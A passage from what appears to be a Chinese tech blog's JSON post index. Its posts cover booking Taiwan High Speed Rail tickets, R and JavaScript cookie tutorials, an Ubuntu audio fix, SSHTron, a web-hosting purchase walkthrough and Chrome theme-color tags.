工作的人來說，實在是太棒了，所以一看到拍賣網站有貨，就馬上買一張來測試看看，以下是第三代樹莓派的簡單開箱文。\u003c/p\u003e","title":"[開箱] 樹莓派 Raspberry Pi 3 Model B"},{"content":"這裡介紹如何從網路上訂購高鐵票，然後到 7-ELEVEN 等便利商店取票與付款。\n由於工作的因素，我時常需要搭高鐵南北往返，剛開始不太熟悉高鐵購票的各種服務，都是老老實實去購票窗口排隊，人多的時候時常都要等上一、二十分鐘，而後來學會用高鐵的自動售票機之後，就不用再排隊了，買票輕鬆很多。\n但有些時候要配合開會的時間，我需要搭最早的一班車才來得及，有一次到了高鐵站買票的時候，發現我要的那一班車在發車前半小時就已經客滿了，我還很懷疑的重新操作一次自動售票機，結果只能買自由座碰運氣，幸好我在嘉義上車時，自由座還有很多位子。\n自從那次班車客滿的經驗之後，現在如果趕時間的話，都會預先上網訂票，然後到 7-ELEVEL 便利商店取票，既方便又安心，而且比較容易可以買到靠窗邊的位置，以下是台灣高鐵網路訂票的過程，以及付款、超商取票的步驟教學。\nStep 1\n開啟台灣高鐵網路訂位的網頁，選擇起訖站、車廂種類、時間與票數等資訊，輸入驗證碼後進行查詢。\nStep 2\n選擇要搭乘的車次，由於每個車次的停靠站不同，所以有些車次雖然比較慢發車，但是卻比較早到達，若您希望早一點到的話，請注意看到達時間。（像這裡的第一班車比較早發車，但是卻比第二班車慢了 22 分鐘到達）\nStep 3\n確認車次，輸入身分證字號與電話，Email 建議也可以輸入，這樣可以收到訂位與付款確認信。\nStep 4\n完成訂位之後，系統會產生一個訂位代號，後續的取票與付款都是依據這個代號，所以要把它記下來。（系統同時會將這個代號以手機簡訊還有 Email 的方式寄送給您）\n在訂完票之後，接著就是要付款，以下我示範在線上用信用卡刷卡付款的流程。\n如果您不想使用信用卡（或是沒有信用卡），也可以直接到超商取票，在超商的櫃檯繳款。\nStep 5\n輸入信用卡資訊，點選立即付款。\nStep 6\n我是使用玉山銀行的信用卡，這裡需要先取得交易密碼，點選「取得簡訊傳送交易密碼」。\nStep 7\n輸入手機簡訊中的交易密碼，按下「送出」後就可以完成付款了。\nStep 8\n完成付款之後，就可以直接到 7-ELEVEN、全家、OK 或是萊爾富便利商店取票了。\n接下來要介紹 7-ELEVEN 的 ibon 取票流程，請繼續閱讀下一頁。\nStep 9\n這裡我示範 7-ELEVEN 的 ibon 取票流程。進到 7-ELEVEN 之後，找到這一台 ibon。\nStep 10\n在 ibon 的操作畫面上選擇票卷中心的「台灣高鐵 THSR」。（他是觸碰螢幕，直接用手指點選即可）\nStep 11\n選擇「取票」。\nStep 12\n服務須知，請點選「同意」。\nStep 13\n輸入身分證字號後四碼。\nStep 14\n輸入訂位代號（總共八碼），如果忘記的話，台灣高鐵發送的手機的簡訊或是 Email 通知信中都可以查到這個代碼。\nStep 15\n注意事項，請點選「下一步」。\nStep 16\n確認明細，點選「確認」。\nStep 17\n列印繳費單。\nStep 17\n這是 ibon 印出來的繳費單，拿這張繳費單到結帳櫃檯繳費，並且領取高鐵票。如果您已經在網路訂票時付款了，這裡就只需要繳 10 元的手續費，而如果還沒付款的話，就在這裡連同手續費一起繳款。\nStep 18\n付款之後，就拿到高鐵票了。\n這張 7-ELEVEN ibon 高鐵票最左邊是正方形的二維條碼，在驗票時就要掃描這個條碼。\n票的中間是車班的資訊，包含日期、時間、座位等。\n旁邊還有一些其他的資訊，如票價、發售日期等。\n這是高鐵票的收執聯。\n在使用 7-ELEVEN ibon 高鐵票通過高鐵自動驗票閘門的時候，會跟一般的高鐵票不太一樣，在自動驗票閘門上方有一個黑色的「條碼感應區」，驗票時請把高鐵票上面的二維條碼對準這裡讓它掃描。\n我感覺他的靈敏度很好，我的高鐵票一拿到這個條碼感應區上方，閘門馬上就打開了，差一點來不及拍這張照片。\n使用 7-ELEVEN ibon 高鐵票不管進站或出站都是使用二維條碼刷一下就可以通過，不需要人工驗票，跟一般的高鐵票一樣方便。\n有個問題我一直搞不清楚，就是這個高鐵票的存根聯與收執聯是做什麼用的，搭乘高鐵的過程中，進站與出站都是機器驗票，沒有站務員來剪票，我搭完全程之後，整張完整的高鐵票都還在我手上，如果您需要使用高鐵票的票根來報帳的話，也不用擔心票被收走的問題。\n除了網路訂票之外，也可以使用台灣高鐵的手機 App 來訂票，請參考台灣高鐵 T Express 手機購票、付款取票與通關教學。\n","permalink":"https://blog.gtwang.org/life/thsr-online-ticket-booking-system-and-ibon/","summary":"\u003cp\u003e這裡介紹如何從網路上訂購高鐵票，然後到 7-ELEVEN 等便利商店取票與付款。\u003c/p\u003e\n\u003cp\u003e由於工作的因素，我時常需要搭高鐵南北往返，剛開始不太熟悉高鐵購票的各種服務，都是老老實實去購票窗口排隊，人多的時候時常都要等上一、二十分鐘，而後來學會用\u003ca href=\"/life/thsr-ticket-vending-machine-using-credit-card/\"\u003e高鐵的自動售票機\u003c/a\u003e之後，就不用再排隊了，買票輕鬆很多。\u003c/p\u003e","title":"台灣高鐵網路訂票，超商取票付款教學"},{"content":"BallR 是一個可以線上即時分析 NBA 球員射籃資料的工具，畫出球場上各個位置的投籃命中率。\n在 NBA Stats 的網站上提供了從 1996 年以來 NBA 籃球比賽的各種資料，其中包含球場上每一次射籃的位置座標，而 BallR 是一個使用 R 與 Shiny 所開發的分析工具，可以讓籃球迷們針對每一位球員做一些簡單的資料分析與視覺化呈現。\n名稱：BallR\n網址：Todd W. Schneider\nBallR 可以讓您選擇球員、賽季、繪圖樣式，計算該球員在球場上每個區域的投籃命中率，並與聯盟平均值做比較，然後產生整個球場的射籃資料分佈圖。\n這個網站可以分析從 1996 年以來所有 NBA 球員的資料，當然也包含林書豪（Jeremy Shu-How Lin），如果要查詢林書豪的資料，請在球員名字（Player）的欄位輸入 Jeremy Lin，接著選擇賽季（Season）然後就會顯示林書豪的射籃資料與分佈圖了。\n在分佈圖的下方還有一些簡單的數據，敘述球場上各個區域的投籃進球數（FGM）、投籃出手數（FGA）、投籃命中率（FG%）與投籃命中率聯盟平均值（Lg FG%）。\n畫出來的分佈圖還可以直接下載，下面這張是林書豪在 2015-16 NBA 賽季的射籃命中率分佈圖。\n我們也可以調整圖形的樣式，用圓點來繪圖。\n這是使用 heat map 的方式來表示射籃頻率的圖形。\nBallR 還可以進行資料的篩選，例如選擇射籃角度、區域、距離等等，進行細部的分析。\n事實上 BallR 是一個開放原始碼的專案，他的原始碼可以直接從 GitHub 網站上下載，如果您有興趣在自己的電腦上執行 BallR 的話，可以執行以下的 R 程式碼：\npackages = c(\u0026#34;shiny\u0026#34;, \u0026#34;ggplot2\u0026#34;, \u0026#34;hexbin\u0026#34;, \u0026#34;dplyr\u0026#34;, \u0026#34;httr\u0026#34;, \u0026#34;jsonlite\u0026#34;) install.packages(packages, repos = \u0026#34;https://cran.rstudio.com/\u0026#34;) library(shiny) runGitHub(\u0026#34;ballr\u0026#34;, \u0026#34;toddwschneider\u0026#34;) 參考資料 R-bloggers ","permalink":"https://blog.gtwang.org/r/ballr-interactive-nba-shot-charts-with-r-and-shiny/","summary":"\u003cp\u003eBallR 是一個可以線上即時分析 NBA 球員射籃資料的工具，畫出球場上各個位置的投籃命中率。\u003c/p\u003e\n\u003cp\u003e在 \u003ca href=\"http://stats.nba.com/\"\u003eNBA Stats\u003c/a\u003e 的網站上提供了從 1996 年以來 NBA 籃球比賽的各種資料，其中包含球場上每一次射籃的位置座標，而 \u003ca href=\"https://github.com/toddwschneider/ballr\"\u003eBallR\u003c/a\u003e 是一個使用 \u003ca href=\"/categories/r/\"\u003eR\u003c/a\u003e 與 \u003ca href=\"http://shiny.rstudio.com/\"\u003eShiny\u003c/a\u003e 所開發的分析工具，可以讓籃球迷們針對每一位球員做一些簡單的資料分析與視覺化呈現。\u003c/p\u003e","title":"BallR：使用 R 與 Shiny 建立互動式 NBA 球員射籃資料分佈圖"},{"content":"如果您的 Ubuntu Linux 16.04 剛安裝好，接上耳機或是外接喇叭播放音樂，卻沒有聲音，這裡告訴您如何解決。\n最近我的 Linux Mint 系統發生檔案系統 crash 的現象，剛開始還一度懷疑是硬體出了問題，但是換成 Windows 系統又都正常，才確定是 Linux Mint 本身的問題，我用了十幾年的 Linux 系統，還是第一次遇到 Windows 比 Linux 穩的狀況。剛開始以為是 Linux Mint 的問題，不過後來發現我的硬碟有怪聲音，看起來是硬碟快不行了。 🙁\n所幸我的資料平常都有備份，不需要擔心資料不見的問題。接著就直接抓最新的 Ubuntu Linux 16.04 來裝，雖然還沒正式釋出，不過我實在不想（也沒時間）裝兩次 Linux 系統，裝完之後一切正常，不過放音樂的時候，筆電的內建喇叭有聲音，而插上耳機或是外接喇叭的時候，就沒有聲音輸出，我上網路查了一下，這個好像是從 14.04 就已經有的小問題，以下是解決方法。\n使用 alsamixer 這個問題似乎只是耳機輸出沒有打開而已，我們可以嘗試使用 alsamixer 來開啟。\nStep 1\n在終端機中執行：\nalsamixer 然後就會進入 alsamixer 的控制畫面：\nStep 2\n按下 F6 選擇音效卡。\nStep 3\n將「Headphon」的選項打開，並且調整音量。\n如果您無法使用 alsamixer 啟用耳機輸出，可以嘗試改用 gnome-alsamixer。\n使用 gnome-alsamixer gnome-alsamixer 是 alsamixer 的 GNOME 版本，功能相同，當 alsamixer 無法正常使用時，就可以改用 gnome-alsamixer。\nStep 1\n安裝 gnome-alsamixer 套件：\nsudo apt-get install gnome-alsamixer Step 2\n執行 gnome-alsamixer：\ngnome-alsamixer Step 3\n從上方籤頁選擇音效卡之後，將下方的「Headphone」耳機選項打勾，然後調整中間的 Headphon 耳機音量。\n基本上耳機輸出沒有聲音的問題，只是系統預設沒有啟用而已，只要找方法把它打開即可。\n參考資料 UbuntuHandbook ","permalink":"https://blog.gtwang.org/linux/ubuntu-16-04-headphone-speakers-sound-problem/","summary":"\u003cp\u003e如果您的 Ubuntu Linux 16.04 剛安裝好，接上耳機或是外接喇叭播放音樂，卻沒有聲音，這裡告訴您如何解決。\u003c/p\u003e\n\u003cp\u003e最近我的 Linux Mint 系統發生檔案系統 crash 的現象，剛開始還一度懷疑是硬體出了問題，但是換成 Windows 系統又都正常，\u003cdel datetime=\"2016-03-12T06:42:13+00:00\"\u003e才確定是 Linux Mint 本身的問題，我用了十幾年的 Linux 系統，還是第一次遇到 Windows 比 Linux 穩的狀況。\u003c/del\u003e剛開始以為是 Linux Mint 的問題，不過後來發現我的硬碟有怪聲音，看起來是硬碟快不行了。 🙁\u003c/p\u003e","title":"解決 Ubuntu Linux 16.04 耳機輸出沒有聲音的問題"},{"content":"這裡介紹如何使用 JavaScript 管理瀏覽器的 cookie，並且提供範例教學以及簡單易上手的 API 工具。\n瀏覽器的 cookie 可以讓網頁的 JavaScript 程式將少量的資料儲存起來，最常用於儲存網頁的設定值與一些程式 session 相關的資料。\n使用 JavaScript 控制 cookie 我們可以在 JavaScript 中直接取得瀏覽器所儲存的 cookie 值：\nallCookies = document.cookie; 也可以寫入新的 cookie（或是更新 cookie 值）：\ndocument.cookie = newCookie; 這裡的 newCookie 是一個 key=value 格式的字串，這樣的方式一次只能新增或是更新一個 cookie 值。\n在寫入 cookie 時的 key=value 字串，還可以加上以下幾種字串來進行一些設定：\n;path=path 設定 cookie 路徑，例如 ;path=/my_path，預設為目前的網頁路徑。 ;domain=domain 設定 cookie 的網域，例如 ;domain=gtwang.org，預設為目前的網址上的網域。 ;max-age=max-age-in-seconds 設定 cookie 的使用期限，單位為秒，例如 60*60*24 就是一天。 ;expires=date-in-GMTString-format 設定 cookie 的使用期限，格式請參考 Date.toUTCString()，這個參數在 HTTP 1.1 之後已經被 max-age 取代。 ;secure 設定 cookie 只能於加密的連線中傳送。 cookie 使用範例 Hello World document.cookie = \u0026#34;name=oeschger\u0026#34;; document.cookie = \u0026#34;favorite_food=tripe\u0026#34;; function alertCookie() { alert(document.cookie); } 在 HTML 中加入一個按鈕，用來顯示所有的 cookie：\n\u0026lt;button onclick=\u0026#34;alertCookie()\u0026#34;\u0026gt;Show cookies\u0026lt;/button\u0026gt; 請點擊下面這個按鈕進行測試：\nShow cookies 讀取 cookie 中的變數 這是從 cookie 讀取變數的範例：\ndocument.cookie = \u0026#34;test1=Hello\u0026#34;; document.cookie = \u0026#34;test2=World\u0026#34;; var cookieValue = document.cookie.replace(/(?:(?:^|.*;\\s*)test2\\s*\\=\\s*([^;]*).*$)|^.*$/, \u0026#34;$1\u0026#34;); function alertCookieValue() { alert(cookieValue); } 在 HTML 中加入一個按鈕，用來測試：\n\u0026lt;button onclick=\u0026#34;alertCookieValue()\u0026#34;\u0026gt;Show cookie value\u0026lt;/button\u0026gt; 請點擊下面這個按鈕進行測試：\nShow cookie value 僅執行一次的程式碼 如果希望某一段 JavaScript 程式碼僅執行一次，可以使用 cookie 來判斷：\nfunction doOnce() { if (document.cookie.replace(/(?:(?:^|.*;\\s*)doSomethingOnlyOnce\\s*\\=\\s*([^;]*).*$)|^.*$/, \u0026#34;$1\u0026#34;) !== \u0026#34;true\u0026#34;) { alert(\u0026#34;Do something here!\u0026#34;); document.cookie = \u0026#34;doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT\u0026#34;; } } 在 HTML 中加入一個按鈕，用來測試：\n\u0026lt;button onclick=\u0026#34;doOnce()\u0026#34;\u0026gt;Only do something once\u0026lt;/button\u0026gt; 請點擊下面這個按鈕進行測試：\nOnly do something once 若要重設上面的 cookie，可以這樣做：\nfunction resetOnce() { document.cookie = \u0026#34;doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT\u0026#34;; } 在 HTML 中加入一個按鈕，用來測試：\n\u0026lt;button onclick=\u0026#34;resetOnce()\u0026#34;\u0026gt;Reset only once cookie\u0026lt;/button\u0026gt; 請點擊下面這個按鈕進行測試：\nReset only once cookie js-cookie 如果您不想花太多時間自己撰寫管理 cookie 的程式碼，可以使用 js-cookie 這個 JavaScript API 工具，它可以讓您很直覺的儲存與讀取 cookie 中的資料，不需要去碰 cookie 底層細部的結構。\n名稱：js-cookie\n網址：https://github.com/js-cookie/js-cookie\n以下我們介紹 js-cookie 的安裝與使用方式。\n安裝 js-cookie 首先從 GitHub 上下載 js-cookie 的 JavaScript 檔，然後將這個 JavaScript 引入自己的網頁中，放在 \u0026lt;head\u0026gt; 中。\n\u0026lt;script src=\u0026#34;/path/to/js.cookie.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 在引入 JavaScript 檔案時，請不要直接使用 GitHub 的 raw 網址（https://raw.github.com/...），由於 GitHub 這個的網址會以 text/plain 的形式送出，在某些瀏覽器會被擋掉（例如 Windows 7 的 IE）。\n建立 cookie 接下來就可以在 JavaScript 使用 js-cookie 了，若要建立一個 cookie，則使用 set：\nCookies.set(\u0026#39;name\u0026#39;, \u0026#39;value\u0026#39;); 讀取則是使用 get：\nmyvar = Cookies.get(\u0026#39;name\u0026#39;); 設定 cookie 的使用期限：\nCookies.set(\u0026#39;name\u0026#39;, \u0026#39;value\u0026#39;, { expires: 7 }); 這裡的 expires 參數的單位是天，上面這樣的設定就是一個可以使用 7 天的 cookie。若沒有指定 expires，則預設會建立 session cookie（session 結束就刪除的 cookie）。\n設定 cookie 的路徑：\nCookies.set(\u0026#39;name\u0026#39;, \u0026#39;value\u0026#39;, { path: \u0026#39;/mypath\u0026#39; }); 設定 cookie 的路徑為目前網頁的路徑：\nCookies.set(\u0026#39;name\u0026#39;, \u0026#39;value\u0026#39;, { path: \u0026#39;\u0026#39; }); 如果沒有指定 path 的話，預設是 /。\n刪除 cookie 若要刪除 cookie 可以使用 remove：\nCookies.remove(\u0026#39;name\u0026#39;); 刪除 cookie 時要注意 cookie 的路徑，路徑的指定方式跟建立時相同：\n// 建立 cookie Cookies.set(\u0026#39;name\u0026#39;, \u0026#39;value\u0026#39;, { path: \u0026#39;/mypath\u0026#39; }); // 刪除 cookie Cookies.remove(\u0026#39;name\u0026#39;, { path: \u0026#39;/mypath\u0026#39; }); JSON js-cookie 還有一個很好用的功能就是可以將 JavaScript 的物件自動轉為 JSON 字串儲存在 cookie 中（使用 JSON.stringify）：\nCookies.set(\u0026#39;name\u0026#39;, { foo: \u0026#39;bar\u0026#39; }); 使用 get 讀取時，就會得到 JSON 的字串：\nCookies.get(\u0026#39;name\u0026#39;); // 得到 \u0026#39;{\u0026#34;foo\u0026#34;:\u0026#34;bar\u0026#34;}\u0026#39; 這個字串 亦可直接呼叫 get 不帶任何參數：\nCookies.get(); // 得到 { name: \u0026#39;{\u0026#34;foo\u0026#34;:\u0026#34;bar\u0026#34;}\u0026#39; } 如果想要讀取解析過後的 JSON 物件，可以使用 getJSON：\nCookies.getJSON(\u0026#39;name\u0026#39;); // 得到 { foo: \u0026#39;bar\u0026#39; } Cookies.getJSON(); // 得到 { name: { foo: \u0026#39;bar\u0026#39; } } 關於 js-cookie 其他更多的使用方式，可以參考 js-cookie 官方網頁上的說明。\n參考資料 MDN ","permalink":"https://blog.gtwang.org/web-development/javascript-cookie-tutorial-js-cookie-api/","summary":"\u003cp\u003e這裡介紹如何使用 JavaScript 管理瀏覽器的 cookie，並且提供範例教學以及簡單易上手的 API 工具。\u003c/p\u003e\n\u003cp\u003e瀏覽器的 cookie 可以讓網頁的 JavaScript 程式將少量的資料儲存起來，最常用於儲存網頁的設定值與一些程式 session 相關的資料。\u003c/p\u003e","title":"JavaScript 操作瀏覽器 Cookie 範例教學與 API 工具"},{"content":"SSHTron 是一個可以透過 SSH 連線讓多人一起玩《創：光速戰記》的小遊戲。\n《創：光速戰記》是一部科幻電影，劇情主軸環繞虛擬世界的 Tron 遊戲競賽，如果您沒有看過這部電影，可以看一下它的預告片。\n而現在有開發者將這個概念寫成可以透過 SSH 連線來玩的小遊戲 SSHTron，只要使用終端機連線到 sshtron.zachlatta.com 之後，就可以馬上進行遊戲：\nssh sshtron.zachlatta.com 第一次連線的時候，會詢問是否信任這組金鑰，請輸入 yes 並按 Enter 繼續：\n連線成功之後，就會馬上進入遊戲。\n這個遊戲的特色就是可以跟線上的其他人對戰，多人一起玩。\n進入 SSHTron 遊戲時，可以自己選擇想要使用的顏色，可用的顏色有七種：red、green、yellow、blue、magenta、cyan、white，例如若要選擇紅色，則執行：\n# 選擇紅色 ssh red@sshtron.zachlatta.com 如果該顏色已經被別人使用，則系統會隨機選擇別的顏色。\nSSHTron 本身是一個開放原始碼的專案，其原始程式碼可以從它的 GitHub 上取得，想要自己架設 SSHTron 伺服器的人，可以參考它的 GibHub 說明文件。\n參考資料 TNW ","permalink":"https://blog.gtwang.org/game/play-multiplayer-tron-over-ssh/","summary":"\u003cp\u003eSSHTron 是一個可以透過 SSH 連線讓多人一起玩《創：光速戰記》的小遊戲。\u003c/p\u003e\n\u003cp\u003e《創：光速戰記》是一部科幻電影，劇情主軸環繞虛擬世界的 Tron 遊戲競賽，如果您沒有看過這部電影，可以看一下它的\u003ca href=\"https://www.youtube.com/watch?v=OeXYpXCDGXc\"\u003e預告片\u003c/a\u003e。\u003c/p\u003e","title":"SSHTron：透過 SSH 玩《創：光速戰記》"},{"content":"WebHostFace 主機空間的 Face Extra 方案最近限時大特價，2 年只要 $35 美金，有 20 GB 儲存空間、無限流量、無限網站數、免費網域名稱、每日備份。\n最近我之前買的 DreamHost 網頁空間即將到期，而 DreamHost 從 2016 年 3 月 15 日開始就全面取消所有的優惠碼特價活動，加上我的網頁資料不多，多半是 PHP 的程式，不太需要無上限的儲存空間，只需要不限流量又穩定的機器就夠了，當然最重要的還是要便宜！\nWebHostFace 這一家的 Face Extra 方案最近大特價，兩年只要 $35 美金，這個方案的主要規格如下：\n項目 規格 儲存空間大小 20 GB 網路流量 無限制 網站數量 無限制 MySQL 資料庫數量與容量 無限制 Email 信箱 無限制 硬碟類型 固態硬碟（SSD） SSH 登入伺服器主機 可以 Uptime 保證 99.9% 詳細的規格可以從 WebHostFace 的網站上查詢。\n主機空間：WebHostFace\n方案：Face Extra\n價格：限時特價 2 年 $35 美金（原價 $261 美金）\n以下是我自己購買的過程記錄，給大家參考。\nStep 1\n開啟 WebHostFace 的特價網址，如果是第一次到訪，應該會看到這樣的 Email 電子報訂閱訊息，訂閱之後可以獲得 9 折的優惠碼，若不想收到廣告信件，可以使用 MailDrop 這類的臨時信箱。\nStep 2\n點選「ADD TO CART」加入購物車。\nStep 3\n確認要購買的數量後，點選「CHECKOUT」進行結帳。\nStep 4\n購買前要先建立 StackSocial 的帳號，可以使用 facebook 或是輸入 Email 註冊。\nStep 5\n選擇付款方式，並輸入信用卡或是 PayPal 付款資訊。如果您有訂閱 Email 產生的優惠碼，記得要在這裡輸入。\nStep 6\n輸入優惠碼之後，就會出現折扣之後的價格，確認金額與付款方式無誤之後，點選「COMPLETE ORDER」付款。\nStep 7\n完成付款之後，點選「REDEEM YOUR PURCHASES NOW」。\nStep 8\n先把這裡的 License Code 授權碼複製起來，再點選「REDEMPTION LINK」。\nStep 9\n點選「USE PROMOCODE」。\nStep 10\n輸入要註冊的網域名稱，或是使用既有的網域名稱。\nStep 11\n選擇伺服器的地理位置，如果您的網站是中文網站，可以選擇華人比較多的亞洲區。接著選擇是否要加購其他的功能，沒特別需求的話，這些功能都可以不要選。最後填入基本資料。\nStep 12\n雖然在這裡不需要付款，但是還是要選擇未來的付款方式（應該是用於 2 年之後的續購），然後輸入剛剛上面複製的 License Code。\nStep 13\n在 License Code 輸入之後，應該就會把所有的費用抵銷，不需要付款。確認無誤之後，按下「COMPLETE ORDER」。\nStep 14\n這樣就完成購買的動作了。\nStep 15\n完成購買之後，接下來 WebHostFace 會請您將 StackSocial 開出的付款收據寄給它，這樣才會啟用這個帳號。\nStep 16\n在剛剛的 StackSocial 的頁面中，點選「View Receipt」下載收據。\nStep 17\n下載下來的收據是一份 PDF 檔案。\n將這份收據用 Email 寄到 sales@webhostface.com 就行了，信件內容就大約描述一下：\nDear Stefan S., This is my Stack Social purchase receipt. Please check out the attached file. Best regards, Guo-Tzau Wang Step 18\nWebHostFace 的回應速度非常快，我的帳號經過十分鐘就完成啟用，接著就可以開始使用 WebHostFace 的網頁空間了。\nStep 19\n這是帳號管理的主頁面，有 cPaenel 與 Webmail 功能。\nStep 20\n這是 cPanel 的畫面，功能很多。\n有整合 CloudFlare 服務。\n這裡有提供各種常用 CMS 的快速安裝功能，例如 WordPress、Joomla、Drupal 等。\nStep 21\n這是各種統計數據表。\nStep 22\n這是常用功能頁面。\nStep 23\n這是帳號管理頁面。\n接下來要新增一個網站，WebHostFace 已經將網頁主機空間與 DNS 伺服器的設定整合在一起了，所以如果您的 DNS 也使用他的服務，就直接在 cPanel 增加 domain 或 subdomain 即可，DNS 他會自動設定。\n而如果您已經有慣用的 DNS 伺服器代管服務，也可以不要使用 WebHostFace 的 DNS 功能，以下我示範如何設定 WebHostFace 讓我們使用自己的 DNS 伺服器。\nStep 24\n從 cPanel 選單中進入進階的 DNS 設定頁面（Advanced Zone Editor），從這裡可以看到實際網頁伺服器的 IP 位址，把這個 IP 位址複製起來。\nStep 25\n假設我們要新增的網站是 webhostface.gtwang.org，開啟自己的 DNS 紀錄管理頁面，把這個網址對應到剛剛複製的伺服器 IP 位址。（這裡我是使用 CloudFlare 來代管 DNS）\nStep 26\n回到 cPanel 中，進入 Subdomains 管理頁面，加入一個新的 subdomain，這個 subdomain 名稱要跟 DNS 紀錄吻合才行。\nStep 27\n接著測試一下設定是否正確，使用 cPanel 的 File Manager 功能，在剛剛設定好的網頁存放路徑中，新增一個測試用的 PHP 檔 phoinfo.php（這個檔名可以自由選擇），檔案內容為：\n\u0026lt;?php phpinfo(); ?\u0026gt; Step 28\n接著在瀏覽器中開啟對應的網址，看看是否可以正常呈現 phpinfo 的資訊。\n這樣就完成一個網站的設定了。\n最後我使用 Visual Trace Route Tool 測試一下這個 WebHostFace 亞洲區的網頁主機，結果如下：\n亞洲區的主機位置是在河北省的廊坊市，如果您的網站使用者是兩岸三地的華人，這個主機的位置還算不錯。\n接著我使用 ping 測試一下：\nping webhostface.gtwang.org 這是從台灣學術網路測試的結果：\nPING webhostface.gtwang.org (119.81.69.107): 56 data bytes 64 bytes from 119.81.69.107: icmp_seq=0 ttl=48 time=207.453 ms 64 bytes from 119.81.69.107: icmp_seq=1 ttl=48 time=203.696 ms 64 bytes from 119.81.69.107: icmp_seq=2 ttl=48 time=204.022 ms 64 bytes from 119.81.69.107: icmp_seq=3 ttl=48 time=203.894 ms 64 bytes from 119.81.69.107: icmp_seq=4 ttl=48 time=213.783 ms 64 bytes from 119.81.69.107: icmp_seq=5 ttl=48 time=205.091 ms 64 bytes from 119.81.69.107: icmp_seq=6 ttl=48 time=204.225 ms 64 bytes from 119.81.69.107: icmp_seq=7 ttl=48 time=204.381 ms ^C --- webhostface.gtwang.org ping statistics --- 8 packets transmitted, 8 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 203.696/205.818/213.783/3.215 ms 以下是從 Hinet ADSL 測試的結果：\nPING webhostface.gtwang.org (119.81.69.107) 56(84) bytes of data. 64 bytes from node02.facesharedasia1.com (119.81.69.107): icmp_seq=1 ttl=52 time=178 ms 64 bytes from node02.facesharedasia1.com (119.81.69.107): icmp_seq=2 ttl=52 time=200 ms 64 bytes from node02.facesharedasia1.com (119.81.69.107): icmp_seq=3 ttl=52 time=223 ms 64 bytes from node02.facesharedasia1.com (119.81.69.107): icmp_seq=4 ttl=52 time=143 ms 64 bytes from node02.facesharedasia1.com (119.81.69.107): icmp_seq=5 ttl=52 time=165 ms 64 bytes from node02.facesharedasia1.com (119.81.69.107): icmp_seq=6 ttl=52 time=188 ms 64 bytes from node02.facesharedasia1.com (119.81.69.107): icmp_seq=7 ttl=52 time=213 ms 64 bytes from node02.facesharedasia1.com (119.81.69.107): icmp_seq=8 ttl=52 time=133 ms ^C --- webhostface.gtwang.org ping statistics --- 8 packets transmitted, 8 received, 0% packet loss, time 7007ms rtt min/avg/max/mdev = 133.362/180.894/223.048/29.826 ms 我自己目前用的 Linode 新加坡主機在台灣 ping 的話大約是 90 ms，而美國的 DreamHost 主機則是 300 ms 左右，在台灣來說，WebHostFace 這個速度差不多介於新加坡與美國機房之間。\n","permalink":"https://blog.gtwang.org/web-hosting/face-extra-hosting-plan-2-year-subscription/","summary":"\u003cp\u003eWebHostFace 主機空間的 Face Extra 方案最近限時大特價，2 年只要 $35 美金，有 20 GB 儲存空間、無限流量、無限網站數、免費網域名稱、每日備份。\u003c/p\u003e\n\u003cp\u003e最近我之前買的 DreamHost 網頁空間即將到期，而 DreamHost 從 2016 年 3 月 15 日開始就全面取消所有的\u003ca href=\"/web-hosting/dreamhost-hosting-promo-code-gold25/\"\u003e優惠碼特價活動\u003c/a\u003e，加上我的網頁資料不多，多半是 PHP 的程式，不太需要無上限的儲存空間，只需要不限流量又穩定的機器就夠了，當然最重要的還是要便宜！\u003c/p\u003e","title":"[14折] WebHostFace 網頁空間 2 年 $35 美金，無限流量網站數、免費網域名稱"},{"content":"G. T. Wang 部落格參加 2016 年台灣部落格大賽，懇請大家幫我按讚，投我一票！謝謝！\n今年我的 G. T. Wang 部落格第一次參加這種部落格比賽，希望大家給予支持與鼓勵，請在上方的 Facebook 按鈕幫我按「讚」，投我一票，非常感謝大家！\n由於 Facebook 按讚時會需要確認，如果這裡的按鈕不好按，也可以從 2016 年台灣部落格大賽的網頁中來按讚，也可以看看其他參賽的部落格。\n台灣部落格大賽以「台灣」為主題，分為「政經評論」、「文化藝術」、「生活休閒」以及「個人觀點」四大類型，我今年參加的是「個人觀點」分類，從 2015 年 6 月 20 日起開始報名，到現在 2016 年 3 月 8 號開始第一階段評選，票選的結果可以在台灣部落格大賽的網頁上查詢，希望未來 G. T. Wang 部落格會有好的成績。 🙂\n","permalink":"https://blog.gtwang.org/funny/gtwang-blog-blogawards-2016/","summary":"\u003cp\u003eG. T. Wang 部落格參加 2016 年台灣部落格大賽，懇請大家幫我按讚，投我一票！謝謝！\u003c/p\u003e\n\u003ccenter\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/funny/gtwang-blog-blogawards-2016/blogawards-2016-stickers-global-phase2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/funny/gtwang-blog-blogawards-2016/gtwang-portrait.jpg\"\u003e\u003c/p\u003e\n\u003c/center\u003e\n\u003cp\u003e今年我的 G. T. Wang 部落格第一次參加這種部落格比賽，希望大家給予支持與鼓勵，請在上方的 Facebook 按鈕幫我按「讚」，投我一票，非常感謝大家！\u003c/p\u003e","title":"G. T. Wang 參加台灣部落格大賽，請幫我按讚，投我一票！"},{"content":"Android 手機版的 Chrome 瀏覽器可以透過網頁設定工具列的顏色，讓手機的畫面與網頁的佈景主題一致，看起來更美觀。\n一般手機瀏覽器的工作列顏色都是固定的，而現在 Android 手機版的 Chrome 瀏覽器從第 39 版之後，開始支援從網頁中指定佈景主題顏色的功能，這個簡單的小功能可以讓網站看起來更專業，也更漂亮，以下是設定的方法教學。\n如果用手機瀏覽一般的網頁，畫面會像這樣，不管觀看哪一個網站，瀏覽器上方的工作列始終都是灰色的。\n現在我們可以藉由新的佈景主題顏色功能，在網頁中指定 Chrome 瀏覽器工作列的背景顏色，設定的方法很簡單，只要在網頁的 \u0026lt;head\u0026gt; 中加入一行：\n\u0026lt;meta name=\u0026#34;theme-color\u0026#34; content=\u0026#34;#db5945\u0026#34;\u0026gt; 其中 content 的值就填入想要指定的顏色，這樣手機版的 Chrome 瀏覽器就會自動將工具列的背景改成這個顏色，以下是兩個使用 theme-color 網站看起來的效果。\n跟網頁的主題顏色搭配之後，會讓人感覺更美觀，也更專業。\n參考資料 Google Developers ","permalink":"https://blog.gtwang.org/web-development/android-chrome-browser-theme-color-support/","summary":"\u003cp\u003eAndroid 手機版的 Chrome 